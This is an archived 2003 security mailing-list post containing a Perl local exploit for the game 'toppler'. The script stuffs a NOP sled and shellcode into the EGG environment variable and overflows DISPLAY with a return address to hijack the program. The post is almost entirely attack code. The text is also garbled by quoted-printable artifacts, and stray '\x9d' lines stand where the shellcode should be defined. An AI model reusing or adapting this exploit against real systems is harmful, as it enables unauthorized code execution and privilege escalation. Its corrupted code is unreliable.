OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 

From: Knud Erik Højgaard (kainircop.dk)
Date: Sun Mar 02 2003 - 07:18:00 CST

#!/usr/bin/perl
#kokanindtors.net playing a game
#hi bob
$len =3D 1024;
$ret =3D 0xbfbffd31;
$nop =3D "\x90";
$offset =3D 0;
\x9d;
\x9d;
\x9d;

if (ARGV =3D=3D 1) {
    $offset =3D $ARGV[0];
}
 =20
for ($i =3D 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .=3D $nop;
}
=20
$buffer .=3D $shellcode;

$new_ret =3D pack('l', ($ret + $offset));
=20
for ($i +=3D length($shellcode); $i < $len; $i +=3D 4) {
    $buffer .=3D $new_ret;
}

local($ENV{'EGG'}) =3D $buffer;=20
local($ENV{'DISPLAY'}) =3D $new_ret x 64;=20

exec("toppler 2>/dev/null");
------=_NextPart_000_000C_01C2E0C6.87F03CD0--